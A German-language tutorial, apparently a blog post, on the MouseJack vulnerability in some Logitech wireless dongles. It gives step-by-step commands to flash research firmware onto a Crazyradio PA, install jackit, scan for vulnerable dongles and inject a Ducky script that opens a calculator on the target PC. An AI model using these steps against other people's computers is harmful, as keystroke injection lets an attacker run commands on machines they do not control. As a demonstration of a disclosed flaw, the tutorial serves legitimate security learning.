Inject Keystrokes into Logitech Keyboards
In bestimmten Versionen von Logitech Dongles gibt es eine Schwachstelle, welche es ermöglicht, Befehle an den angeschlossenen PC zu senden.
Hardware und Software
Für die Umsetzung wurde folgende Hardware verwendet:
- Crazyradio PA USB radio dongle based on Nordic Semiconductor’s nRF24LU1+
- Logitech USB Dongle (C-U0007 – FW ver 012.005.00028)
- Ubuntu 18.04.3 LTS
Firmware Version auslesen
Mit den Befehl “fwupdmgr” kann die Versionsnummer des Logitech USB-Dongles ausgelesen werden.
fwupdmgr get-devices
In der darauf angezeigten Ausgabe kann die Firmware Version des Dongles ermittelt werden. Eine Liste, welche Geräte bzw. welche Firmware betroffen sind, gibt es hier: www.bastille.net
Firmware auf dem Crazyradio flashen
Als Voraussetzung für die Durchführung des Angriffs muss die Firmware auf den Crazyradio, nicht auf dem Logitech Dongle, geflasht werden. Um die Firmware zu erstellen, werden einige Bibliotheken benötigt.
apt-get install sdcc binutils python python-pip git pip install pyusb pip install --upgrade pip pip install --upgrade -I pyusb pip install --upgrade platformio
Danach die Software “Mousejack” herunterladen.
git clone https://github.com/BastilleResearch/mousejack git submodule init git submodule update
Als letzter Schritt wird die Firmware erstellt und auf dem Crazyradio übertragen.
/nrf-research-firmware$ make make install
Um zu verifizieren, ob die Firmware erfolgreich auf das Crazyradio geflasht wurde, diesen aus dem USB-Port ziehen und danach wieder anstecken. Als nächstes den Befehl “dmesg” ausführen und nach dem Text “RFStorm” suchen.
dmesg
Wird dieser angezeigt, ist der Schritt erfolgreich abgeschlossen.
Jackit installieren
Jackit wird für den eigentlichen Angriff benötigt. Mit der Software wird mit dem Crazyradio kommuniziert.
git clone https://github.com/insecurityofthings/jackit.git cd jackit/ pip install -r requirements.txt ./setup.py build ./setup.py install
Attack
Zur Vorbereitung für den Angriff wird ein “Ducky” Script erstellt. Die hier enthaltenen Befehle werden auf dem Ziel-PC ausgeführt. Dafür die nachfolgende Auflistung in einer Textdatei “script.txt” speichern.
GUI r DELAY 200 STRING calc.exe ENTER
Mit dem Befehl “jackit” (als Root starten) kann jetzt nach potenziell verwundbaren Geräten gesucht werden.
Sobald ein Dongle gefunden wurde, die jeweilige Adresse “C7:D4:21:98:07” kopieren und das Programm mit “STRG + C” beenden. Jetzt “jackit” erneut mit einigen Parametern starten.
jackit --address C7:D4:21:98:07 --vendor logitech --script /path/to/ducky/script.txt
Nachdem der Dongle wieder erkannt wurde, mit “STRG + C” abbrechen, um in ein Untermenü von “jackit” zu gelangen. Jetzt mit der jeweiligen Nummer das Ziel (Spalte KEY) auswählen. Wenn alles funktioniert hat, dann hat sich auf dem Ziel-PC ein Taschenrechner geöffnet.
Links
- https://www.bastille.net/research/vulnerabilities/mousejack/affected-devices
- https://github.com/BastilleResearch/mousejack
- https://samy.pl/keysweeper/
- https://null-byte.wonderhowto.com/how-to/inject-keystrokes-into-logitech-keyboards-with-nrf24lu1-transceiver-0197099/
- https://github.com/insecurityofthings/jackit